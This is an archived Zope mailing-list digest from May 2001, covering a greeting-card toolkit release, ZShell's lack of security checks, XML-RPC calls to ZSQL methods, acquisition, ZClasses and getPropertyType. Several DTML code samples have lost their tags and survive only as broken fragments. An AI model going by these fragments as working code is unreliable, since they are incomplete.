GreetingCard-0.2 (development) Hi Everyone! I am building zope based web tools for a printing company in Colorado, called Eight Days A Week. The management recently decided to open the source that I have been developing. One more victory for the freedom fighters! The first piece of code to near release quality is a greeting card toolkit. It uses zope for data storage, image upload, html generation, and management functionality. LocalFS and reportlab are used to generate PDF formatted high-resolution cards set up with cropmarks to print. The code is still Alpha quality with several areas where significant improvement can be made, but is functional as is. A demo is running here: http://www.8daw.com:8080/greetingcards/ (zope 2.3 : Mandrake 7.2 linux) You will not be able to use the PDF tools, unless you install it somewhere with management access. Hope you all like it! Please let me know if you find it useful, or make any changes. -ed- _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From cduncan@kaivo.com Fri May 4 23:35:48 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 04 May 2001 16:35:48 -0600 Subject: [Zope] LiveLink "converters" References: <139EE72D26C0D411845F00508BF9398E01115FDE@msxg2mtl1.hydro.qc.ca> Message-ID: <3AF32EC4.52679569@kaivo.com> > Menard.Jean-Francois@hydro.qc.ca wrote: > > We just got a demo of LiveLink, a document manager system. They have > an Intranet module wich is REALLY like the Zope one. In fact, it's > almost de same! I found a number of similar functionalities between > them, but there is a couple of features in LiveLink wich I found > interesting: > > - If a user upload a document, the programmer can use it directly. > There are automatics converters for many formats: PDF to HTML, Excel > to HTML, Word to HTML, Word to PDF, etc. You can develop your own > converters if tou want. > > Example: Someone upload a report in Excel. In your website, > you can put a link to a PDF version, or show it in HTML > automatically! > > - When a user is logged, he sees only the documents he can manage! > Much simpler interface! > > - The interface is internalionalized. > > So, I guest my questions are: > > - Any plan for a Zope interface internationalisation ? I > know, we could translate the interface ourself, but we want to upgrade > sometimes... > > - Any plan for "converters" ? I think it would be fairly > easy, no? > > - Could hiding unauthorized objects been possible? I know > that I can manage that in DTML, but I mean in the default management > interface? > > Any thoughs? See: http://www.zope.org/Members/Kaivo/DocumentLibrary/ Which I just released today. I will eventually have cross-format converters in there. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From DANILOCS@senado.gov.br Fri May 4 19:42:20 2001 From: DANILOCS@senado.gov.br (=?iso-8859-1?Q?Danilo_Cust=F3dio_da_Silva?=) Date: Fri, 4 May 2001 15:42:20 -0300 Subject: [Zope] manage_upload;manage_delete Message-ID: <8CC01119E78FD31185DE002035874C81076DC5BF@GENIPABU> Please ..Does anyone knows how to use the method manage_upload, and if is there a method called manage_delete that delete file objects,? thank's Danilo From troy.farrell@wcg.com Fri May 4 23:47:26 2001 From: troy.farrell@wcg.com (Farrell, Troy) Date: Fri, 4 May 2001 17:47:26 -0500 Subject: [Zope] best streaming practice?? Message-ID: Your choices are extremely limited. You can try RealServer: http://www.realnetworks.com/products/servers/sysreqs.html which runs on NT/2k,linux,FreeBSD,Solaris,AIX,HP/UX,and IRIX. I'm not sure that streams mpeg though. It is really pricey. If you're a corporation with deep pockets, you can VYVX your video feed to a streaming company, and let them stream it (very pricey). If you just wanted audio, we could hook you up with Icecast... All that is well and good, but when it comes to zope, you can only serve static content. That is to say that zope can store and server a video/audio file, but zope/zserver doesn't speak any streaming protocols (RTSP, MMS...). The above solutions do both static and dynamic content. Troy It should be noted that I am an employee of Vyvx services. -----Original Message----- From: zope-mailinglist [mailto:zope-mailinglist@mopa.at] Sent: Friday, May 04, 2001 1:21 PM To: zope@zope.org Subject: Re: [Zope] best streaming practice?? thanks for your answers isnt there a solution for unix/linux? my solution should run on freebsd 4.3 i would like to stream mpeg2 or (in my dreams) mpeg4 (divx) :) i took a look at darwin - but it seems that it only understands qt format dono if i'm right From mehmety@auslin.com.au Sat May 5 01:06:22 2001 From: mehmety@auslin.com.au (Mehmet Yousouf) Date: Sat, 5 May 2001 10:06:22 +1000 Subject: [Zope] redirect command and advise in general Message-ID: <01050510062200.05946@theo.home> Hi, I'm slowly putting together an intranet using zope and Mysql to keep track of orders and manufacturing processes for our business and I've got most things working however, there are a couple of things (well... lots actually) I am doing the "wrong way" that I want to fix so that I can cut down on the code and tidy up a bit (simple things, but when you don't know how...) The first and easiest...... I'm using zsessions to keep track of things and the same session can be started from different pages so the way I imagine I should be able to have a single bit of code to achieve this is either javascript (which I have worked out how to implement but don't want to use - I frequently have javascript turned off) or "post" the information to a page that sets the data then redirects back to the "referring url" which is the way I want to do it.... I can't work out how to pass the url into the redirect command so I have been setting up the same page, just slightly changed, for each page that needs to set a session.... e.g. I'm using: instead of something like all that's done on the page is setting of the session i.e. I could cut down on thirty "pages" by doing it properly Any help/suggestions/advice would be greatly appreciated From michel@digicool.com Sat May 5 01:17:55 2001 From: michel@digicool.com (Michel Pelletier) Date: Fri, 4 May 2001 17:17:55 -0700 (PDT) Subject: [Zope] [ANN] ZShell 0.2 In-Reply-To: Message-ID: Something that is dangerous about this script is that it does no security checking at all. Anyone one user with acces to the shell is essentialy promoted to a superuser through the shell. It would not be difficult for you to add security checkpoints to you code using the explicit securitymanager api documented in the developer's guide. http://sourceforge.net/projects/zope-devel/ -Michel On Fri, 4 May 2001, Jerome Alet wrote: > Hi again, > > the 0.2 version of the Zope Shell is online at: > > http://cortex.unice.fr/~jerome/zshell/ > > New features: > > * bug corrections > > * a better whoami, thanks to Peter Bengtsson > > * wget now works and allows you to suck websites > (not recursively yet) and put them into the ZODB. > > enjoy ! > > Jerome Alet - alet@unice.fr > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From k.woelfel@gmx.de Sat May 5 03:21:15 2001 From: k.woelfel@gmx.de (Klaus Woelfel) Date: Sat, 5 May 2001 04:21:15 +0200 Subject: [Zope] Accessing ZClasses other ZClasses via Python Message-ID: Hi, Can anybody tell me how I can access a ZClass in another ZClass with python? For example I have a ZClass, called "foo_class" that lifes in another ZClass called "Container_class" in a product called "foo_product". So this works fine: "Control_Panel.Products.foo_product.Container_class" But this doesn't work: "Control_Panel.Products.foo_product.Container_class.foo_class" Zope says: Error Type: AttributeError Error Value: foo_class Can anybody help me? ciao, Klaus From augusto@artlover.com Sat May 5 03:56:29 2001 From: augusto@artlover.com (Ausum) Date: Fri, 04 May 2001 21:56:29 -0500 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface References: Message-ID: <3AF36BDD.11239331@artlover.com> A killer add-in to Zope would be a cascade pull-down navigator like the one at MSNBC News. I think it's possible with javascript but I haven't found one that cascades more than one level of content. (I've counted at least three at MSNBC News Menu) With a tool like this and Zope internal logic, you would be able to save tons of clicks. If you're in a hurry (sometimes to save a couple of clicks in a object-crowded environment can become one, I know that) you may modify the OFS/dtml/main.dtml file to perform the function you're looking for. Ausum Jerome Alet wrote: > > On Wed, 2 May 2001, Dieter Maurer wrote: > > > Jerome Alet writes: > > > Another thing I'd be glad to use would be MoveUp and MoveTo buttons: > > Never wanted to have that: > > > > I open two browser windows, showing source and destination. > > I select and copy/cut in the source, move to destination > > and click "paste". > > Your solution is still very "clicky": you must first open a new window and > click and click and click until you've reached the destination folder, > which may eventually be far far away from the current one, before clicking > again on Paste. > > A MoveTo dialog box (or form) would be better and quicker IMHO. > > bye, > > Jerome Alet > From andreas@easyleading.org Sat May 5 08:16:28 2001 From: andreas@easyleading.org (Andreas Heckel) Date: Sat, 05 May 2001 09:16:28 +0200 Subject: [Zope] [ANN] German CMF skin available Message-ID: <3AF3A8CC.B0D06D57@easyleading.org> Zopalavista, There is a custom skin providing a German translation of the Content Management Framework (CMF) available for download. Get it at : http://www.easyleading.org/easyhome/index_html?content=downloadsCMF -- _______________________________________________________________________ Andreas Heckel andreas@easyleading.org LINUX is like a wigwam...no gates...no windows and an apache inside ;-) From alet@unice.fr Sat May 5 08:17:32 2001 From: alet@unice.fr (Jerome Alet) Date: Sat, 5 May 2001 09:17:32 +0200 Subject: [Zope] [ANN] ZShell 0.2 In-Reply-To: ; from michel@digicool.com on Fri, May 04, 2001 at 05:17:55PM -0700 References: Message-ID: <20010505091732.A469@nordine.ateur> On Fri, May 04, 2001 at 05:17:55PM -0700, Michel Pelletier wrote: > > Something that is dangerous about this script is that it does no security > checking at all. Anyone one user with acces to the shell is essentialy > promoted to a superuser through the shell. It would not be difficult for > you to add security checkpoints to you code using the explicit > securitymanager api documented in the developer's guide. > > http://sourceforge.net/projects/zope-devel/ I'll look into that, but this isn't a priority yet. I prefer to have something which provides more commands quick, and look at other aspects later. I've only used it as a Manager however, but I thought that the underlying security would be taken care of by Zope itself when calling dangerous methods (like manage_delObjects for example) as a non Manager user. Am I wrong ? bye, Jerome Alet From robert@rocad.ch Sat May 5 10:42:43 2001 From: robert@rocad.ch (Robert Rottermann) Date: Sat, 5 May 2001 11:42:43 +0200 Subject: [Zope] get error "no module named TAL.TALParser" Message-ID: <001f01c0d547$d1e1e2d0$18a4023e@karin> This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C0D558.828645D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there, after installing zpt 1.2 tal and zope utilyties (all from the = zpt-download page) I get the following output when starting zope TAL is istalled in the products directory, and a TALParser.py can be = found there. any ideas? Robert 2001-05-02T05:26:09 ERROR(200) Zope Couldn't install PageTemplates Traceback (innermost last): File K:\PROGRA~1\zope\lib\python\OFS\Application.py, line 627, in = install_prod ucts (Object: ApplicationDefaultPermissions) (Info: PageTemplates) File K:\Programme\zope\lib\python\Products\PageTemplates\__init__.py, = line 95, in initialize File = K:\Programme\zope\lib\python\Products\PageTemplates\ZopePageTemplate.py, line 104, in ? File = K:\Programme\zope\lib\python\Products\PageTemplates\PageTemplate.py, = line 93, in ? ImportError: No module named TAL.TALParser ------=_NextPart_000_0011_01C0D558.828645D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi there,
after installing zpt 1.2 tal and zope = utilyties=20 (all from the zpt-download page)
I get the following output when = starting=20 zope
 
TAL is istalled in the products = directory, and a=20 TALParser.py can be found there.
 
any ideas?
Robert
 
2001-05-02T05:26:09 ERROR(200) Zope = Couldn't=20 install PageTemplates
Traceback (innermost last):
  File=20 K:\PROGRA~1\zope\lib\python\OFS\Application.py, line 627, in=20 install_prod
ucts
    (Object:=20 ApplicationDefaultPermissions)
    (Info:=20 PageTemplates)
  File=20 K:\Programme\zope\lib\python\Products\PageTemplates\__init__.py, line=20 95,
 in initialize
  File=20 K:\Programme\zope\lib\python\Products\PageTemplates\ZopePageTemplate.py,<= BR>line=20 104, in ?
  File=20 K:\Programme\zope\lib\python\Products\PageTemplates\PageTemplate.py,=20 line
 93, in ?
ImportError: No module named=20 TAL.TALParser
------=_NextPart_000_0011_01C0D558.828645D0-- From olaf.zanger@soli-con.com Sat May 5 11:38:42 2001 From: olaf.zanger@soli-con.com (Olaf Zanger) Date: Sat, 05 May 2001 12:38:42 +0200 Subject: [Zope] xmlrpc and ZSQL Method Message-ID: <3AF3D832.EF34B314@soli-con.com> hi there, after searching for 2 hours i try the community know-how. i want to access a ZSQL Method "prd_sql_method" with parameters: "fac_id_only:int" and "date:string" by xmlrpc. right now i do: s=xmlrpclib.Server('http://sino/ip') dict={} dict['fac_id_only']=1 dict['date']='1996-01-02' s.Zope.operate.xmlrpc.prd_sql_method() y[] for x in s: y.append(x) return str(y) ----------------------------------------------- how do i get parameters in? --------------------------------------------------------- i get an error message: "Unexpected Zope error value: ['fac_id_only', 'date']" -------------------------------------------------- how do i get results out? --------------------------------------------- got nothing yet :-) thanks for help olaf -- soli-con Engineering Zanger Dipl.-Ing. (FH) Olaf Marc Zanger Lorrainestrasse 23 3013 Bern / Switzerland Fon: +41-31-332 9782 Mob: +41-76-572 9782 mailto:info@soli-con.com mailto:olaf.zanger@soli-con.com http://www.soli-con.com From arkaitz@euskalcom.net Sat May 5 13:27:02 2001 From: arkaitz@euskalcom.net (Arkaitz Bitorika) Date: 05 May 2001 14:27:02 +0200 Subject: [Zope] create ZClass instances in Python scripts Message-ID: <989065624.1992.9.camel@basajaun> Hi, Is it possible to create programmatically ZClass instances from Python scripts? I haven't been able to do it. I have the next thing in my Python script: folder.manage_addProduct['MyProduct'].manage_addMyZClass_py(myId) And then I have a Python Script called "manage_addMyZClass_py" in "MyProduct" that does simply this: container.MyZClass.createInObjectManager(id) All this gives me the next message: Error Type: TypeError Error Value: not enough arguments; expected 3,got 2 This happens when calling createInObjectManager(), because it expects a REQUEST object, but I don't have one! It won't accept a None REQUEST object either. Any hint? Cheers, Arkaitz. From hannu@tm.ee Sat May 5 13:31:14 2001 From: hannu@tm.ee (Hannu Krosing) Date: Sat, 05 May 2001 14:31:14 +0200 Subject: [Zope] [ANN] ZShell 0.2 References: Message-ID: <3AF3F292.3BEE0C65@tm.ee> Michel Pelletier wrote: > > Something that is dangerous about this script is that it does no security > checking at all. Anyone one user with acces to the shell is essentialy > promoted to a superuser through the shell. It would not be difficult for > you to add security checkpoints to you code using the explicit > securitymanager api documented in the developer's guide. > > http://sourceforge.net/projects/zope-devel/ It claims that "This Project Has Not Released Any Files". Does it mean that I am supposed to get stuff from CVS ? ------------------ Hannu From phil.harris@zope.co.uk Sun May 6 18:54:19 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Sun, 6 May 2001 13:54:19 -0400 Subject: [Zope] xmlrpc and ZSQL Method In-Reply-To: <3AF3D832.EF34B314@soli-con.com> References: <3AF3D832.EF34B314@soli-con.com> Message-ID: <01050613541900.01474@localhost.localdomain> What your doing seems a complicated way to do it to me. Try something like import xmlrpclib s=xmlrpclib.Server('http://your.server.address') results=s.operate.xmlrpc.prd_sql_method(1,'1996-01-02') if len(results)>0: print 'we found records' else: print "we didn't find records" for record in results: print record[0] # print the first field Note that xmlrpc doesn't allow named parameters they must be positional. hth Phil On Saturday 05 May 2001 06:38, Olaf Zanger wrote: > hi there, > > after searching for 2 hours i try the community know-how. > > i want to access a > ZSQL Method "prd_sql_method" with > parameters: "fac_id_only:int" and "date:string" > by xmlrpc. > > > right now i do: > > s=xmlrpclib.Server('http://sino/ip') > > dict={} > dict['fac_id_only']=1 > dict['date']='1996-01-02' > s.Zope.operate.xmlrpc.prd_sql_method() > y[] > for x in s: > y.append(x) > return str(y) > > ----------------------------------------------- > how do i get parameters in? > --------------------------------------------------------- > i get an error message: "Unexpected Zope error value: ['fac_id_only', > 'date']" > > > -------------------------------------------------- > how do i get results out? > --------------------------------------------- > got nothing yet :-) > > thanks for help > > olaf From jwashin@vt.edu Sat May 5 14:13:47 2001 From: jwashin@vt.edu (Jim Washington) Date: Sat, 05 May 2001 09:13:47 -0400 Subject: [Zope] create ZClass instances in Python scripts References: <989065624.1992.9.camel@basajaun> Message-ID: <3AF3FC8B.CE580023@vt.edu> Arkaitz Bitorika wrote: > > Hi, > > Is it possible to create programmatically ZClass instances from Python > scripts? I haven't been able to do it. > I have the next thing in my Python script: > folder.manage_addProduct['MyProduct'].manage_addMyZClass_py(myId) > And then I have a Python Script called "manage_addMyZClass_py" in > "MyProduct" that does simply this: > container.MyZClass.createInObjectManager(id) > All this gives me the next message: > Error Type: TypeError > Error Value: not enough arguments; expected 3,got 2 > This happens when calling createInObjectManager(), because it expects a > REQUEST object, but I don't have one! It won't accept a None REQUEST > object either. > Any hint? container can acquire a REQUEST object. Try: container.MyZClass.createInObjectManager(id, container.REQUEST) -- Jim Washington From olaf.zanger@soli-con.com Sat May 5 16:23:10 2001 From: olaf.zanger@soli-con.com (Olaf Marc Zanger) Date: Sat, 5 May 2001 17:23:10 +0200 Subject: [Zope] xmlrpc and ZSQL Method Message-ID: <01050517231000.04473@sino> hi phil, thanks for trying to help, just i get the following error message . my Zsql-method uses these two parameter names and the code is: --------------------------- result=s.Zope.operate.xmlrpc.prd_sql_method(1, '1996-02-01') # error if len(results)>0: print 'found records: ' else: print 'no records' for record in results: print record[0] --------------------- Traceback (innermost last): File "./ip-prd_get-0.0.2.py", line 33, in ? result=s.Zope.operate.xmlrpc.prd_sql_method(1, '1996-02-01') # error File "./xmlrpclib.py", line 547, in __call__ return self.__send(self.__name, args) File "./xmlrpclib.py", line 630, in __request request File "./xmlrpclib.py", line 585, in request return self.parse_response(h.getfile()) File "./xmlrpclib.py", line 601, in parse_response return u.close() File "./xmlrpclib.py", line 371, in close raise apply(Fault, (), self._stack[0]) xmlrpclib.Fault: have a nice weekend olaf -- soli-con Engineering Zanger, Dipl.-Ing. (FH) Olaf Marc Zanger Lorrainestrasse 23, 3013 Bern / Switzerland fon:+41-31-332 9782, mob:+41-76-572 9782 mailto:olaf.zanger@soli-con.com, http://www.soli-con.com From Oliver Bleutgen Sat May 5 14:34:27 2001 From: Oliver Bleutgen (Oliver Bleutgen) Date: Sat, 5 May 2001 15:34:27 +0200 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface Message-ID: <14w21Q-0JmQ7sC@fmrl06.sul.t-online.com> > A killer add-in to Zope would be a cascade pull-down navigator like the > one at > MSNBC News. I think it's possible with javascript but I haven't found one > that > cascades more than one level of content. (I've counted at least three at > MSNBC > News Menu) http://www.webreference.com/dhtml/hiermenus/ gives you as many levels as you like, but: it's license is problematic (free for non-commercial use...) also this http://www.dhtmlshock.com/site-navigation/MenuBuilder/default.asp seems to be free. > With a tool like this and Zope internal logic, you would be able to save > tons > of clicks. If you're in a hurry (sometimes to save a couple of clicks in a > object-crowded environment can become one, I know that) you may modify the > OFS/dtml/main.dtml file to perform the function you're looking for. cheers, oliver From alet@unice.fr Sat May 5 14:37:11 2001 From: alet@unice.fr (Jerome Alet) Date: Sat, 5 May 2001 15:37:11 +0200 Subject: [Zope] [ANN] ZShell 0.2 In-Reply-To: <3AF3F292.3BEE0C65@tm.ee>; from hannu@tm.ee on Sat, May 05, 2001 at 02:31:14PM +0200 References: <3AF3F292.3BEE0C65@tm.ee> Message-ID: <20010505153711.A832@nordine.ateur> On Sat, May 05, 2001 at 02:31:14PM +0200, Hannu Krosing wrote: > Michel Pelletier wrote: > > > > Something that is dangerous about this script is that it does no security > > checking at all. Anyone one user with acces to the shell is essentialy > > promoted to a superuser through the shell. It would not be difficult for > > you to add security checkpoints to you code using the explicit > > securitymanager api documented in the developer's guide. > > > > http://sourceforge.net/projects/zope-devel/ > > It claims that "This Project Has Not Released Any Files". > > Does it mean that I am supposed to get stuff from CVS ? I've just seen the same message, so I've browsed the files with cvsweb, and now I better understand Michel's concerns: it seems as External methods run completely unrestricted by default, which I ignored until I read this document. bye, Jerome Alet From tomasm@student.uit.no Sun May 6 00:49:41 2001 From: tomasm@student.uit.no (Tomas Mortensen) Date: Sat, 5 May 2001 16:49:41 -0700 Subject: [Zope] newbie question about aquisition Message-ID: <002201c0d5be$0e485da0$c046fea9@p166mmx> hi, consider the folowing scenario: an index_html dtml document is located in the root folder. this document includes another dtml document, includefile, with the dtml-var tag. /index_html /includefile /myfolder/includefile /myfolder/mysubfolder/ if i access the URL http://myhost/myfolder/mysubfolder, i get the index_html file from the root folder, by aquisition. the problem is that the included dtml file _also_ comes from the root. what i want is that the includefile in myfolder will override the one in the root folder. is this posible? -Tomas From jasonic@nomadicsltd.com Sat May 5 15:59:06 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Sat, 5 May 2001 10:59:06 -0400 Subject: [Zope] [ANN] ZShell 0.2 References: <3AF3F292.3BEE0C65@tm.ee> <20010505153711.A832@nordine.ateur> Message-ID: <001101c0d573$eed3ff00$c3090740@megapathdsl.net> From: "Jerome Alet" > I've just seen the same message, so I've browsed the files with cvsweb, > and now I better understand Michel's concerns: it seems as External methods > run completely unrestricted by default, which I ignored until I read this > document. ..and what of Scripts (Python) Do they inherit Zope permissions model.? Security should be addressed. I suppose one could extend 'Exernal Methods' to create a 'External Zshell Methods' But Jerome please don't let this slow you down writing Zshell functions now. Let's just agree that Zshell is a really powerful Essential Zope tool. An important concept which definitely needs developing. And it assumes greater responsibility than the default TTW interface, and wears a large sysadmin warning label! I have been using ZJavatelnetSSH Product quite often recently for sheer convenvince of remote Zope sysadmin. http://dev.zope.org/Members/dshaw/ZJavaTelnetSSH Webmin is another tool.. http://www.webmin.com/webmin/ How safe | how dangerous?? I really don't see the difference. What am I missing? ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From tim@sitefusion.co.uk Sat May 5 16:16:02 2001 From: tim@sitefusion.co.uk (Tim Hicks) Date: Sat, 5 May 2001 16:16:02 +0100 Subject: [Zope] getPropertyType Message-ID: <003901c0d576$4df78c20$7f7030d5@Duron> I have a zclass that has a property sheet called 'details' and I am trying to create a form for editing this that goes through the property sheet (using dtml-in) and creates the correct input box. Everything works, except the getPropertyType part, which always returns 'None'. The ZQR says that it will do this when the property doesn't exist, but the property clearly does exist as propertyIds() finds it, a getProperty() does actually return the value of the property. I just want to see what sort of property it is so that I can present the correct type of input box. Here's the code snippet. "> And here is a sample of what it generates. name None email None Any ideas? tim From bkc@murkworks.com Sat May 5 16:29:52 2001 From: bkc@murkworks.com (Brad Clements) Date: Sat, 5 May 2001 11:29:52 -0400 Subject: [Zope] Zope as Portal Server In-Reply-To: <20010504160155.19675.cpmta@c000.snv.cp.net> Message-ID: <3AF3E10B.14650.2E2F939A@localhost> Anyone look at Novell Portal Services as an example portal? You can develop servlets to make custom portal gadgets that can connect to anything. http://www.novell.com/products/portal Brad Clements, bkc@murkworks.com (315)268-1000 http://www.murkworks.com (315)268-9812 Fax netmeeting: ils://ils.murkworks.com AOL-IM: BKClements From Oleg Broytmann Sat May 5 16:30:15 2001 From: Oleg Broytmann (Oleg Broytmann) Date: Sat, 5 May 2001 19:30:15 +0400 (MSD) Subject: [Zope] newbie question about aquisition In-Reply-To: <002201c0d5be$0e485da0$c046fea9@p166mmx> Message-ID: On Sat, 5 May 2001, Tomas Mortensen wrote: > an index_html dtml document is located in the root folder. ^^^^^^^^^^^^^ This is THE problem. DTML Documents don't acquire objects - they use objects from static path, based on their position in the ZODB. To make acquisition works delete index_html and recreate it as DTML Method. DTML Methods acquire objects in expected dynamic way. Oleg. ---- Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From marc@bowery.com Sat May 5 16:46:37 2001 From: marc@bowery.com (marc lindahl) Date: Sat, 05 May 2001 11:46:37 -0400 Subject: [Zope] getPropertyType In-Reply-To: <003901c0d576$4df78c20$7f7030d5@Duron> Message-ID: Tim, take a look at the python/OFS/dtml/properties.dtml code. Something more like: -- not sure about that part, since properties.dtml is not for a subsheet. but anyway, use the mapping then you'd have: "> ...but I'd suggest studying properties.dtml the code there is much more complete. > From: "Tim Hicks" > Date: Sat, 5 May 2001 16:16:02 +0100 > To: > Subject: [Zope] getPropertyType > > I have a zclass that has a property sheet called 'details' and I am trying > to create a form for editing this that goes through the property sheet > (using dtml-in) and creates the correct input box. Everything works, except > the getPropertyType part, which always returns 'None'. The ZQR says that it > will do this when the property doesn't exist, but the property clearly does > exist as propertyIds() finds it, a getProperty() does actually return the > value of the property. I just want to see what sort of property it is so > that I can present the correct type of input box. > > Here's the code snippet. > > > > > > 'text'"> type=text name="" value=" "propertysheets.details.getProperty(pid)">"> > > > > > > And here is a sample of what it generates. > > > name > > None > > > email > > None > > > > Any ideas? > > tim > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From dave@kovach.com Sat May 5 17:02:01 2001 From: dave@kovach.com (dave@kovach.com) Date: 5 May 2001 09:02:01 -0700 Subject: [Zope] Zope as Portal Server Message-ID: <20010505160201.22271.cpmta@c000.snv.cp.net> Hi Brad - Thats exactly what I am speaking of - I havent read on Novell's work, but so many players are entering the mini-application and gadget arena in terms of portals.. its either gonna be a really big thing or something that goes bust in the conceptual stage first. Need to build these "gadgets" in Python/xml and open up the Zope system to interface with any system on the planet... to view/process/edit/manipulate its data... David On Sat, 05 May 2001, "Brad Clements" wrote: > > Anyone look at Novell Portal Services as an example portal? You can develop servlets > to make custom portal gadgets that can connect to anything. > > http://www.novell.com/products/portal > > > > Brad Clements, bkc@murkworks.com (315)268-1000 > http://www.murkworks.com (315)268-9812 Fax > netmeeting: ils://ils.murkworks.com AOL-IM: BKClements _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From bkc@murkworks.com Sat May 5 18:04:15 2001 From: bkc@murkworks.com (Brad Clements) Date: Sat, 5 May 2001 13:04:15 -0400 Subject: [Zope] Zope as Portal Server In-Reply-To: <20010505160201.22271.cpmta@c000.snv.cp.net> Message-ID: <3AF3F72A.24682.2E85FD73@localhost> On 5 May 2001, at 9:02, dave@kovach.com wrote: > Thats exactly what I am speaking of - I havent read on Novell's work, but > so many players are entering the mini-application and gadget arena in terms > of portals.. its either gonna be a really big thing or something that goes > bust in the conceptual stage first. > > Need to build these "gadgets" in Python/xml and open up the Zope system to > interface with any system on the planet... to view/process/edit/manipulate > its data... Novell's portal services uses servlets, I've created a gadget for NPS in Jython. It works. Also, NPS requires that gadgets return data as XML. The final output is created using a stylesheet that depends on the client's browser capability.. Brad Clements, bkc@murkworks.com (315)268-1000 http://www.murkworks.com (315)268-9812 Fax netmeeting: ils://ils.murkworks.com AOL-IM: BKClements From tim@sitefusion.co.uk Sat May 5 18:23:51 2001 From: tim@sitefusion.co.uk (Tim Hicks) Date: Sat, 5 May 2001 18:23:51 +0100 Subject: [Zope] getPropertyType References: Message-ID: <000d01c0d588$282d4d60$5a6b30d5@Duron> ----- Original Message ----- From: "marc lindahl" To: "Tim Hicks" ; Sent: Saturday, May 05, 2001 4:46 PM Subject: Re: [Zope] getPropertyType > Tim, > take a look at the python/OFS/dtml/properties.dtml code. Sorted! Had a look at properties.dtml and what you suggested. Here's what I got to work. < input type="text" name=":" value=""> Thanks for your help. tim > Something more like: > > -- not sure about that part, since > properties.dtml is not for a subsheet. > > but anyway, use the mapping > > then you'd have: > > > > > > > > "'%s' % getProperty(id)" html_quote>"> > > > > ...but I'd suggest studying properties.dtml the code there is much more > complete. > > > > From: "Tim Hicks" > > Date: Sat, 5 May 2001 16:16:02 +0100 > > To: > > Subject: [Zope] getPropertyType > > > > I have a zclass that has a property sheet called 'details' and I am trying > > to create a form for editing this that goes through the property sheet > > (using dtml-in) and creates the correct input box. Everything works, except > > the getPropertyType part, which always returns 'None'. The ZQR says that it > > will do this when the property doesn't exist, but the property clearly does > > exist as propertyIds() finds it, a getProperty() does actually return the > > value of the property. I just want to see what sort of property it is so > > that I can present the correct type of input box. > > > > Here's the code snippet. > > > > > > > > > > > > > 'text'"> > type=text name="" value=" > "propertysheets.details.getProperty(pid)">"> > > > > > > > > > > > > And here is a sample of what it generates. > > > > > > name > > > > None > > > > > > email > > > > None > > > > > > > > Any ideas? > > > > tim > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > From bkc@murkworks.com Sat May 5 19:31:04 2001 From: bkc@murkworks.com (Brad Clements) Date: Sat, 5 May 2001 14:31:04 -0400 Subject: [Zope] Zope as Portal Server In-Reply-To: <20010505180318.9521.cpmta@c000.snv.cp.net> Message-ID: <3AF40B82.5366.2ED57708@localhost> On 5 May 2001, at 11:03, dave@kovach.com wrote: > thats very cool Brad. > > You could transform it via XSLT prior to browser though... so, end to end > it works for anyone... Sorry, that's what I meant. The portal server selects a stylesheet (provided with the gadget) to customize the output for IE, netscape or WAP. > What are YOUR thoughts using a Zope backed architecture in place of > something like NPS or iPlanet portal server etc.??? Don't know anything about iPlanet, but I think this would be pretty straightforward with Zope. NPS does a lot more however, it allows the administrator to customize what the user can see/select. There's a hierarchy of settings/authority/views etc that is tightly integrated with NDS (eDirectory). You could model this on LDAP. > what does your gadget for NPS interface with? or is it a generic interface > to anything? It's a daily fortune, like the Unix fortune program. I wrote it as a sample Jython servlet to see if I can get it published in Novell's AppNotes "Creating NPS gadgets using Jython" > > > > > > Brad Clements, bkc@murkworks.com (315)268-1000 > > http://www.murkworks.com (315)268-9812 Fax > > netmeeting: ils://ils.murkworks.com AOL-IM: BKClements > > > _____________________________________________________ > > Get your name as your email and web site address. > http://www.NetIdentity.com. Be somebody online. Brad Clements, bkc@murkworks.com (315)268-1000 http://www.murkworks.com (315)268-9812 Fax netmeeting: ils://ils.murkworks.com AOL-IM: BKClements From dieter@handshake.de Sat May 5 19:26:48 2001 From: dieter@handshake.de (Dieter Maurer) Date: Sat, 5 May 2001 20:26:48 +0200 (CEST) Subject: [Zope] manage_upload;manage_delete In-Reply-To: <856650480@toto.iv> Message-ID: <15092.17896.604833.211231@lindm.dm> =?iso-8859-1?Q?Danilo_Cust=F3dio_da_Silva?= writes: > Please ..Does anyone knows how to use the method manage_upload, and if is > there a method called manage_delete that delete file objects,? Take a look at your embedded Zope help system: Zope Help -> API reference -> Image ObjectManager Dieter From dieter@handshake.de Sat May 5 19:34:44 2001 From: dieter@handshake.de (Dieter Maurer) Date: Sat, 5 May 2001 20:34:44 +0200 (CEST) Subject: [Zope] getPropertyType In-Reply-To: <246267060@toto.iv> Message-ID: <15092.18372.994889.124752@lindm.dm> Tim Hicks writes: > ... problem with "PropertySheet.getPropertyType" ... This might be a bug. I looked in the code at "OFS.PropertySheets". "getPropertyType" 